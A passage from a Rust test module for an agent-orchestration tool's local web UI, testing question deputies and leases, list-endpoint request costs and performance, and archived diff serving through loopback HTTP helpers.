11045 }
11046}
11047
11048#[cfg(test)]
11049mod tests {
11050
11051 #[test]
11052 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11053 let dir = tempfile::tempdir().unwrap();
11054 let store = ask::Questions::at(dir.path().join("questions"));
11055 let mut q = Question::new(
11056 "task".to_owned(),
11057 "conduct".to_owned(),
11058 "conduct".to_owned(),
11059 "choose".to_owned(),
11060 String::new(),
11061 vec!["keep".to_owned()],
11062 );
11063 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11064 q.say("why?").unwrap();
11065 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11066 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11067 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11068 store.put(&mut q).unwrap();
11069 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11070 assert_eq!(store.count_needs_owner(), 1);
11071 store.beat(&q.id, ask::WaiterKind::Deputy);
11072 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11073 assert_eq!(store.count_needs_owner(), 0);
11074 let mut stale = store.read_lease(&q.id).unwrap();
11075 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11076 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11077 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11078 assert!(view.deputy_exhausted);
11079 assert!(view.waiting_on_agent);
11080 assert_eq!(view.question.choices, ["keep"]);
11081 store.drop_lease(&q.id);
11082 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11083 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11084 }
11085
11086 #[test]
11087 fn holder_reads_the_lease_not_the_record() {
11088 let mut q = Question::new(
11089 "run".to_owned(),
11090 "implement".to_owned(),
11091 "impl-A".to_owned(),
11092 "which?".to_owned(),
11093 String::new(),
11094 Vec::new(),
11095 );
11096 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11097 q.cwd = Some("/tmp".to_owned());
11098 assert_eq!(holder_of(&q, None), Some("nobody"));
11099 let beat = |kind, ago: i64| ask::Lease {
11100 kind,
11101 pid: 1,
11102 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11103 .unwrap(),
11104 };
11105 let fresh = beat(ask::WaiterKind::Asker, 1);
11106 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11107 let daemon = beat(ask::WaiterKind::Daemon, 1);
11108 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11109 let stale = beat(ask::WaiterKind::Asker, 3600);
11110 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11111
11112 let mut c = Question::new(
11115 "task".to_owned(),
11116 crate::conduct::NODE.to_owned(),
11117 "conduct".to_owned(),
11118 "which?".to_owned(),
11119 String::new(),
11120 Vec::new(),
11121 );
11122 assert_eq!(holder_of(&c, None), Some("nobody"));
11123 c.cwd = Some("/tmp".to_owned());
11124 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11125 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11126 let deputy = beat(ask::WaiterKind::Deputy, 1);
11127 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11128 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11129
11130 let mut r = Question::new(
11132 String::new(),
11133 crate::bump::NOTICE_NODE.to_owned(),
11134 "release-watch".to_owned(),
11135 "stuck?".to_owned(),
11136 String::new(),
11137 vec!["hold".to_owned()],
11138 );
11139 assert_eq!(holder_of(&r, None), Some("nobody"));
11140 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11141 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11142 r.deputy = None;
11144 r.seat = "bump".to_owned();
11145 assert_eq!(holder_of(&r, None), None);
11146
11147 let mut m = Question::new(
11150 "run".to_owned(),
11151 crate::land::APPROVAL_NODE.to_owned(),
11152 "land".to_owned(),
11153 "merge?".to_owned(),
11154 String::new(),
11155 Vec::new(),
11156 );
11157 assert_eq!(holder_of(&m, None), Some("nobody"));
11158 assert_eq!(
11159 holder_of(&m, Some(&fresh)),
11160 Some("asker"),
11161 "a live explicit wait is a listener even before a deputy is attached"
11162 );
11163 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11164 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11165 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11166 assert_eq!(holder_of(&m, None), Some("nobody"));
11167 }
11168
11169 fn stub_config() -> Config {
11170 Config {
11173 agents: vec![crate::config::AgentSpec {
11174 id: "stub".to_owned(),
11175 kind: AgentKind::Command,
11176 model: None,
11177 command: vec!["true".to_owned()],
11178 extra_args: Vec::new(),
11179 env: Default::default(),
11180 prompt_delivery: None,
11181 max_turn_secs: None,
11182 }],
11183 ..Config::default()
11184 }
11185 }
11186
11187 fn plain_question(seat: &str) -> Question {
11188 Question::new(
11189 String::new(),
11190 "n".to_owned(),
11191 seat.to_owned(),
11192 "s".to_owned(),
11193 String::new(),
11194 Vec::new(),
11195 )
11196 }
11197
11198 #[test]
11199 fn deputies_enabled_follows_the_config() {
11200 let on = stub_config();
11201 assert!(crate::deputy::can_start(Some(&on), ""));
11202 assert!(crate::deputy::can_start(Some(&on), "stub"));
11203 let mut off = on.clone();
11204 off.daemon.max_deputies = 0;
11205 assert!(!crate::deputy::can_start(Some(&off), ""));
11206 let mut empty = on;
11207 empty.agents.clear();
11208 assert!(!crate::deputy::can_start(Some(&empty), ""));
11209 assert!(!crate::deputy::can_start(None, ""));
11210 }
11211
11212 #[test]
11213 fn question_views_load_the_config_once() {
11214 let dir = TempDir::new().unwrap();
11215 let store = ask::Questions::at(dir.path().to_path_buf());
11216 let mut with_deputy = plain_question("b");
11217 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11218 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11219
11220 let calls = std::cell::Cell::new(0usize);
11221 let views = question_views(qs.clone(), &store, || {
11222 calls.set(calls.get() + 1);
11223 Some(stub_config())
11224 });
11225 assert_eq!(calls.get(), 1);
11226 assert_eq!(views.len(), 3);
11227 for (v, q) in views.iter().zip(&qs) {
11228 assert_eq!(
11229 v.deputies_enabled,
11230 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11231 );
11232 }
11233
11234 let views = question_views(qs, &store, || None);
11235 assert!(views.iter().all(|v| !v.deputies_enabled));
11236
11237 let calls = std::cell::Cell::new(0usize);
11238 let views = question_views(Vec::new(), &store, || {
11239 calls.set(calls.get() + 1);
11240 None
11241 });
11242 assert!(views.is_empty());
11243 assert_eq!(calls.get(), 0);
11244 }
11245
11246 use pretty_assertions::assert_eq;
11247 use serde_json::Value;
11248 use tempfile::TempDir;
11249 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11250
11251 use super::*;
11252 use crate::config::Config;
11253 use crate::queue::Source;
11254
11255 const SETTLE_STEPS: usize = 3_000;
11266
11267 struct Fixture {
11273 home: TempDir,
11274 addr: SocketAddr,
11275 }
11276
11277 impl Fixture {
11278 async fn start() -> Self {
11279 Self::with_loop(launch_idle).await
11280 }
11281
11282 async fn with_loop(launch: Launch) -> Self {
11284 let home = TempDir::new().expect("temp home");
11285 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11286 Self { home, addr }
11287 }
11288
11289 async fn with_repo(repo: PathBuf) -> Self {
11293 let home = TempDir::new().expect("temp home");
11294 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11295 Self { home, addr }
11296 }
11297
11298 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11301 let home = TempDir::new().expect("temp home");
11302 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11303 Self { home, addr }
11304 }
11305
11306 async fn serve(
11307 home: &FsPath,
11308 repo: PathBuf,
11309 launch: Launch,
11310 machine: Option<PathBuf>,
11311 ) -> SocketAddr {
11312 let queue = Queue::at(home.join("queue"));
11313 let runs = home.join("runs");
11314 std::fs::create_dir_all(&runs).expect("runs dir");
11315 let worktrees = home.join("wt").join("magi");
11316 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11317 let ui = Ui::new(
11318 queue,
11319 Questions::at(home.join("questions")),
11320 Talks::at(home.join("talks")),
11321 runs,
11322 home.to_path_buf(),
11323 repo,
11324 )
11325 .with_worktrees_root(worktrees)
11326 .with_machine_config(machine)
11327 .with_launch(launch);
11328 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11329 .await
11330 .expect("bind loopback");
11331 let addr = listener.local_addr().expect("local addr");
11332 tokio::spawn(async move {
11333 let router = ui
11334 .router()
11335 .layer(axum::middleware::from_fn(request_cost::observe));
11336 let _ = axum::serve(listener, router).await;
11337 });
11338 addr
11339 }
11340
11341 fn queue(&self) -> Queue {
11342 Queue::at(self.home.path().join("queue"))
11343 }
11344
11345 fn questions(&self) -> Questions {
11346 Questions::at(self.home.path().join("questions"))
11347 }
11348
11349 fn talks(&self) -> Talks {
11350 Talks::at(self.home.path().join("talks"))
11351 }
11352
11353 fn runs(&self) -> PathBuf {
11354 self.home.path().join("runs")
11355 }
11356
11357 async fn get(&self, path: &str) -> Res {
11358 request(self.addr, "GET", path, None).await
11359 }
11360
11361 async fn head(&self, path: &str) -> Res {
11366 request(self.addr, "HEAD", path, None).await
11367 }
11368
11369 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11370 request(self.addr, "POST", path, body).await
11371 }
11372
11373 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11374 request_with(self.addr, "GET", path, None, extra).await
11375 }
11376
11377 async fn delete(&self, path: &str) -> Res {
11378 request(self.addr, "DELETE", path, None).await
11379 }
11380
11381 async fn put(&self, path: &str, body: &str) -> Res {
11382 request(self.addr, "PUT", path, Some(body)).await
11383 }
11384
11385 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11387 request_bytes(self.addr, path, headers, body).await
11388 }
11389 }
11390
11391 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11394 let tmp = TempDir::new().unwrap();
11395 let mut repos = Vec::new();
11396 for name in ["one", "two"] {
11397 let repo = tmp.path().join(name);
11398 let origin = tmp.path().join(format!("{name}.git"));
11399 std::fs::create_dir_all(&repo).unwrap();
11400 crate::git::git(&repo, &["init", "-b", "main"])
11401 .await
11402 .unwrap();
11403 std::fs::write(
11404 repo.join("magi.toml"),
11405 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11406 )
11407 .unwrap();
11408 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11409 crate::git::git(
11410 &repo,
11411 &[
11412 "-c",
11413 "user.name=fixture",
11414 "-c",
11415 "user.email=fixture@example.invalid",
11416 "commit",
11417 "-m",
11418 "fixture",
11419 ],
11420 )
11421 .await
11422 .unwrap();
11423 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11424 .await
11425 .unwrap();
11426 crate::git::git(
11427 &repo,
11428 &["remote", "add", "origin", origin.to_str().unwrap()],
11429 )
11430 .await
11431 .unwrap();
11432 crate::git::git(&repo, &["push", "origin", "main"])
11433 .await
11434 .unwrap();
11435 crate::git::git(
11436 &repo,
11437 &[
11438 "symbolic-ref",
11439 "refs/remotes/origin/HEAD",
11440 "refs/remotes/origin/main",
11441 ],
11442 )
11443 .await
11444 .unwrap();
11445 let (cfg, _) = Config::discover(&repo, None).unwrap();
11446 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11447 repos.push(repo);
11448 }
11449 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11450 (tmp, repos)
11451 }
11452
11453 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11454 let (tmp, repos) = performance_repositories().await;
11455 let machine = tmp.path().join("machine.toml");
11456 std::fs::write(&machine, "").unwrap();
11457 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11458 (tmp, repos, fx)
11459 }
11460
11461 fn seed_performance(
11462 fx: &Fixture,
11463 repos: &[PathBuf; 2],
11464 questions: usize,
11465 runs: usize,
11466 items: usize,
11467 ) {
11468 for i in fx.questions().list().len()..questions {
11470 let mut question = Question::new(
11471 "20261001-000000-0000".into(),
11472 "implement".into(),
11473 "impl-A".into(),
11474 format!("question {i}"),
11475 "context".into(),
11476 vec!["yes".into(), "no".into()],
11477 );
11478 question.id = format!("20261003-000000-{i:04x}");
11479 fx.questions().put(&mut question).unwrap();
11480 }
11481 for i in run_ids(&fx.runs()).len()..runs {
11482 write_run_repo(
11483 &fx.runs(),
11484 &format!("20261001-000000-{i:04x}"),
11485 RunStatus::Ready,
11486 repos[i % 2].to_str().unwrap(),
11487 );
11488 }
11489 for i in fx.talks().list().len()..items {
11490 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11491 let mut talk = fx.talks().get(&id).unwrap();
11492 talk.repo = repos[i % 2].clone();
11493 fx.talks().put(&mut talk).unwrap();
11494 let mut task = crate::queue::Task::new(
11495 format!("task {i}"),
11496 "instruction".into(),
11497 repos[i % 2].clone(),
11498 crate::queue::Source::Agent {
11499 run: id,
11500 node: crate::queue::CHAT_NODE.into(),
11501 },
11502 );
11503 task.id = format!("20261004-000000-{i:04x}");
11504 fx.queue().put(&mut task).unwrap();
11505 if i < crate::notices::CAP {
11507 Notices::at(fx.home.path().join("notifications"))
11508 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11509 .unwrap();
11510 }
11511 }
11512 assert_eq!(fx.questions().list().len(), questions);
11513 assert_eq!(run_ids(&fx.runs()).len(), runs);
11514 assert_eq!(fx.talks().list().len(), items);
11515 assert_eq!(fx.queue().list().len(), items);
11516 assert_eq!(
11517 Notices::at(fx.home.path().join("notifications"))
11518 .list()
11519 .len(),
11520 items.min(crate::notices::CAP)
11521 );
11522 }
11523
11524 #[tokio::test]
11525 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11526 let home = TempDir::new().unwrap();
11527 let root = home.path().canonicalize().unwrap();
11528 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11529 let fx = Fixture { home, addr };
11530 let repo = root.as_path().join("archive-repo");
11531 std::fs::create_dir(&repo).unwrap();
11532 crate::git::git(&repo, &["init", "-b", "main"])
11533 .await
11534 .unwrap();
11535 crate::git::git(&repo, &["config", "user.name", "Fixture"])
11536 .await
11537 .unwrap();
11538 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11539 .await
11540 .unwrap();
11541 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11542 .await
11543 .unwrap();
11544 std::fs::write(repo.join("source"), "base").unwrap();
11545 crate::git::git(&repo, &["add", "."]).await.unwrap();
11546 crate::git::git(&repo, &["commit", "-m", "base"])
11547 .await
11548 .unwrap();
11549 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11550 std::fs::write(repo.join("source"), "archived review").unwrap();
11551 crate::git::git(&repo, &["commit", "-am", "review"])
11552 .await
11553 .unwrap();
11554 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11555 let mut config = Config::default();
11556 config.graph.worktree_root = Some(root.as_path().join("copies"));
11557 let mut state = RunState::new(
11558 repo.clone(),
11559 "main".into(),
11560 base.clone(),
11561 "archive".into(),
11562 config,
11563 );
11564 state.id = "20260101-000000-ef05".into();
11565 state.status = RunStatus::Ready;
11566 state.save_under(root.as_path()).unwrap();
11567 let evidence =
11568 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11569 .await
11570 .unwrap();
11571 let base_evidence =
11572 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11573 .await
11574 .unwrap();
11575 let source = state.worktree_root().join("review-1");
11576 let mut contents = std::collections::BTreeMap::new();
11577 contents.insert(
11578 repo.join("logs/HEAD"),
11579 format!("{base} {head} fixture\n").into_bytes(),
11580 );
11581 let record = serde_json::json!({
11582 "version":1, "run":state.id, "source":source, "head":head,
11583 "evidence":evidence, "admin":{}, "admin_contents":contents,
11584 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11585 });
11586 std::fs::write(
11587 fx.runs()
11588 .join(&state.id)
11589 .join("artifacts/eviction-review-1.json"),
11590 serde_json::to_vec(&record).unwrap(),
11591 )
11592 .unwrap();
11593 std::fs::remove_dir_all(&repo).unwrap();
11594 let url = format!("/api/runs/{}/seat-evidence", state.id);
11595 let list = fx.get(&url).await;
11596 assert_eq!(list.status, 200, "{}", list.body);
11597 assert_eq!(list.json()[&head], "review-1");
11598 let patch = fx.get(&format!("{url}/{head}")).await;
11599 assert_eq!(patch.status, 200, "{}", patch.body);
11600 assert!(patch.body.contains("+archived review"));
11601 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11602 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11603 assert_eq!(fx.get(&url).await.status, 404);
11604 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11605 }
11606
11607 fn request_counts(res: &Res) -> (usize, usize) {
11608 assert_eq!(res.status, 200, "{}", res.body);
11609 (
11610 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11611 res.header("x-test-git").unwrap().parse().unwrap(),
11612 )
11613 }
11614
11615 #[tokio::test]
11616 async fn list_request_cost_is_independent_of_record_count() {
11617 let (_tmp, repos, fx) = performance_fixture().await;
11618 let mut previous = None;
11619 for n in [4, 60] {
11620 seed_performance(&fx, &repos, n, n, n);
11621 let mut costs = Vec::new();
11622 for (path, discoveries) in [
11623 ("/api/questions", 1),
11624 ("/api/talks", 0),
11625 ("/api/health", 0),
11626 ("/api/stats", 1),
11627 ] {
11628 for repo in &repos {
11631 let cache = repo.join(".git/magi/config");
11632 if cache.exists() {
11633 std::fs::remove_dir_all(cache).unwrap();
11634 }
11635 }
11636 let cost = request_counts(&fx.get(path).await);
11637 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11638 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11639 assert!(
11640 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11641 "{path}: {cost:?}"
11642 );
11643 costs.push(cost);
11644 }
11645 if let Some(previous) = previous {
11646 assert_eq!(costs, previous);
11647 }
11648 previous = Some(costs);
11649 }
11650 }
11654
11655 #[tokio::test]
11658 async fn list_handler_cost_without_transport() {
11659 let (_tmp, repos) = performance_repositories().await;
11660 let fx = Fixture {
11661 home: TempDir::new().unwrap(),
11662 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11663 };
11664 let ui = Arc::new(
11665 Ui::new(
11666 fx.queue(),
11667 fx.questions(),
11668 fx.talks(),
11669 fx.runs(),
11670 fx.home.path().to_path_buf(),
11671 repos[0].clone(),
11672 )
11673 .with_worktrees_root(fx.home.path().join("wt")),
11674 );
11675 let mut previous = None;
11676 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11677 seed_performance(&fx, &repos, n, runs, items);
11678 let mut costs = Vec::new();
11679 for endpoint in ["questions", "talks", "health", "stats"] {
11680 for repo in &repos {
11681 let cache = repo.join(".git/magi/config");
11682 if cache.exists() {
11683 std::fs::remove_dir_all(cache).unwrap();
11684 }
11685 }
11686 let (_, cost) = request_cost::measure(async {
11687 match endpoint {
11688 "questions" => {
11689 let _ = questions_list(State(ui.clone())).await.unwrap();
11690 }
11691 "talks" => {
11692 let _ = talks_list(
11693 State(ui.clone()),
11694 Query(ListQuery {
11695 limit: None,
11696 ids: None,
11697 }),
11698 header::HeaderMap::new(),
11699 )
11700 .await
11701 .unwrap();
11702 }
11703 "health" => {
11704 let _ = health(State(ui.clone())).await.unwrap();
11705 }
11706 _ => {
11707 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11708 .await
11709 .unwrap();
11710 }
11711 }
11712 })
11713 .await;
11714 eprintln!("{endpoint} handler N={n}: {cost:?}");
11715 assert_eq!(
11716 cost.0,
11717 if matches!(endpoint, "talks" | "health") {
11718 0
11719 } else {
11720 1
11721 },
11722 "{endpoint}"
11723 );
11724 assert!(
11725 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11726 "{endpoint}: {cost:?}"
11727 );
11728 costs.push(cost);
11729 }
11730 if let Some(previous) = previous {
11731 assert_eq!(costs, previous);
11732 }
11733 previous = Some(costs);
11734 }
11735 }
11736
11737 #[tokio::test]
11738 async fn list_request_cost_scopes_do_not_mix() {
11739 let (_tmp, repos, fx) = performance_fixture().await;
11740 seed_performance(&fx, &repos, 10, 0, 10);
11741 let (questions, talks, notices) = tokio::join!(
11742 fx.get("/api/questions"),
11743 fx.get("/api/talks"),
11744 fx.get("/api/notifications")
11745 );
11746 assert_eq!(request_counts(&questions).0, 1);
11747 assert_eq!(request_counts(&talks), (0, 0));
11750 assert_eq!(request_counts(¬ices), (0, 0));
11751 }
11752
11753 #[tokio::test]
11754 async fn list_endpoints_large_home_responses() {
11755 check_large_home_endpoints(false).await;
11756 }
11757
11758 #[tokio::test]
11759 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11760 async fn list_endpoints_large_home_ceiling() {
11761 check_large_home_endpoints(true).await;
11762 }
11763
11764 async fn check_large_home_endpoints(timed: bool) {
11765 let (_tmp, repos, fx) = performance_fixture().await;
11766 seed_performance(&fx, &repos, 200, 300, 400);
11767 let mut failures = Vec::new();
11768 for path in [
11771 "/",
11772 "/app.js",
11773 "/app.css",
11774 "/api/questions",
11775 "/api/runs?limit=300",
11776 "/api/queue",
11777 "/api/talks",
11778 "/api/notifications",
11779 "/api/health",
11780 "/api/stats",
11781 "/api/loop",
11782 "/api/settings",
11783 "/api/repos",
11784 ] {
11785 let start = std::time::Instant::now();
11786 let result = if timed {
11787 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11788 } else {
11789 Ok(fx.get(path).await)
11790 };
11791 let elapsed = start.elapsed();
11792 eprintln!("{path}: {elapsed:?}");
11793 match result {
11794 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11795 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11796 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11797 }
11798 }
11799 assert!(failures.is_empty(), "{}", failures.join("\n"));
11800 }
11801
11802 struct Res {
11803 status: u16,
11804 headers: String,
11805 head: String,
11810 body: String,
11811 bytes: Vec<u8>,
11815 }
11816
11817 impl Res {
11818 fn json(&self) -> Value {
11819 serde_json::from_str(&self.body)
11820 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11821 }
11822
11823 fn header(&self, name: &str) -> Option<&str> {
11825 self.head.lines().find_map(|line| {
11826 let (key, value) = line.split_once(':')?;
11827 key.trim()
11828 .eq_ignore_ascii_case(name)
11829 .then(|| value.trim_start().trim_end_matches('\r'))
11830 })
11831 }
11832 }
11833
11834 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11837 request_with(addr, method, path, body, &[]).await
11838 }
11839
11840 async fn request_with(
11844 addr: SocketAddr,
11845 method: &str,
11846 path: &str,
11847 body: Option<&str>,
11848 extra: &[(&str, &str)],
11849 ) -> Res {
11850 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11851 for (name, value) in extra {
11852 head.push_str(&format!("{name}: {value}\r\n"));
11853 }
11854 if let Some(body) = body {
11855 head.push_str("Content-Type: application/json\r\n");
11856 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11857 }
11858 head.push_str("\r\n");
11859 if let Some(body) = body {
11860 head.push_str(body);
11861 }
11862 let mut socket = tokio::net::TcpStream::connect(addr)
11863 .await
11864 .expect("connect to the test server");
11865 socket
11866 .write_all(head.as_bytes())
11867 .await
11868 .expect("write request");
11869 let mut raw = Vec::new();
11870 socket.read_to_end(&mut raw).await.expect("read response");
11871 let split = raw
11874 .windows(4)
11875 .position(|w| w == b"\r\n\r\n")
11876 .expect("a header block");
11877 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11878 let bytes = raw[split + 4..].to_vec();
11879 let status = head
11880 .lines()
11881 .next()
11882 .and_then(|line| line.split_whitespace().nth(1))
11883 .and_then(|code| code.parse().ok())
11884 .expect("a status line");
11885 Res {
11886 status,
11887 headers: head.to_lowercase(),
11888 head,
11889 body: String::from_utf8_lossy(&bytes).into_owned(),
11890 bytes,
11891 }
11892 }
11893
11894 async fn request_bytes(
11900 addr: SocketAddr,
11901 path: &str,
11902 headers: &[(&str, &str)],
11903 body: &[u8],
11904 ) -> Res {
11905 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11906 for (name, value) in headers {
11907 head.push_str(&format!("{name}: {value}\r\n"));
11908 }
11909 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11910 let mut socket = tokio::net::TcpStream::connect(addr)
11911 .await
11912 .expect("connect to the test server");
11913 socket
11914 .write_all(head.as_bytes())
11915 .await
11916 .expect("write request head");
11917 socket.write_all(body).await.expect("write request body");
11918 let mut raw = Vec::new();
11919 socket.read_to_end(&mut raw).await.expect("read response");
11920 let split = raw
11921 .windows(4)
11922 .position(|w| w == b"\r\n\r\n")
11923 .expect("a header block");
11924 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11925 let bytes = raw[split + 4..].to_vec();
11926 let status = head
11927 .lines()
11928 .next()
11929 .and_then(|line| line.split_whitespace().nth(1))
11930 .and_then(|code| code.parse().ok())
11931 .expect("a status line");
11932 Res {
11933 status,
11934 headers: head.to_lowercase(),
11935 head,
11936 body: String::from_utf8_lossy(&bytes).into_owned(),
11937 bytes,
11938 }
11939 }
11940
11941 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11943 let mut state = RunState::new(
11944 PathBuf::from("/repo/magi"),
11945 "main".to_owned(),
11946 "0123456789abcdef".to_owned(),
11947 "Add a web UI\n\nMobile first.".to_owned(),
11948 Config::default(),
11949 );
11950 state.id = id.to_owned();
11951 state.status = status;
11952 let dir = runs.join(id);
11953 std::fs::create_dir_all(&dir).expect("run dir");
11954 std::fs::write(
11955 dir.join("run.json"),
11956 serde_json::to_string_pretty(&state).expect("serialize run"),
11957 )
11958 .expect("write run.json");
11959 }
11960
11961 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11965 let mut state = RunState::new(
11966 PathBuf::from(repo),
11967 "main".to_owned(),
11968 "0123456789abcdef".to_owned(),
11969 "task".to_owned(),
11970 Config::default(),
11971 );
11972 state.id = id.to_owned();
11973 state.status = status;
11974 let dir = runs.join(id);
11975 std::fs::create_dir_all(&dir).expect("run dir");
11976 std::fs::write(
11977 dir.join("run.json"),
11978 serde_json::to_string_pretty(&state).expect("serialize run"),
11979 )
11980 .expect("write run.json");
11981 }
11982
11983 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11984 let body = serde_json::json!({
11985 "schema": 1,
11986 "pid": 4242,
11987 "started_at": Timestamp::now().to_string(),
11988 "updated_at": updated_at.to_string(),
11989 "idle": false,
11990 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11991 "completed": 7,
11992 "polls": 143,
11993 });
11994 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11995 }
11996
11997 fn launch_idle(
12007 _opts: daemon::Opts,
12008 stop: daemon::Stop,
12009 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12010 Box::pin(async move {
12011 while !stop.stopped() {
12012 tokio::time::sleep(Duration::from_millis(2)).await;
12013 }
12014 Ok(())
12015 })
12016 }
12017
12018 fn launch_broken(
12021 _opts: daemon::Opts,
12022 _stop: daemon::Stop,
12023 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12024 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12029 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12030 Box::pin(async move {
12031 Err(anyhow::anyhow!(if first {
12032 "publish the daemon status file: read-only file system"
12033 } else {
12034 "the restarted stand-in failed as well"
12035 }))
12036 })
12037 }
12038
12039 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12048 for _ in 0..SETTLE_STEPS {
12049 let view = fx.get("/api/loop").await.json();
12050 if want(&view) {
12051 return view;
12052 }
12053 tokio::time::sleep(Duration::from_millis(10)).await;
12054 }
12055 panic!(
12056 "the loop never settled: {}",
12057 fx.get("/api/loop").await.json()
12058 );
12059 }
12060
12061 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12063 let store = fx.questions();
12064 let mut q = Question::new(
12065 "20260902-000000-beef".to_owned(),
12066 "implement".to_owned(),
12067 "impl-A".to_owned(),
12068 summary.to_owned(),
12069 "because it matters".to_owned(),
12070 choices.iter().map(|c| (*c).to_owned()).collect(),
12071 );
12072 store.put(&mut q).expect("put question");
12073 q.id
12074 }
12075
12076 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12082 let store = fx.questions();
12083 let mut q = Question::new(
12084 "20260902-000000-beef".to_owned(),
12085 "land".to_owned(),
12086 "fix".to_owned(),
12087 "Merge this?".to_owned(),
12088 "the diff is in the panel".to_owned(),
12089 vec!["merge".to_owned(), "hold".to_owned()],
12090 );
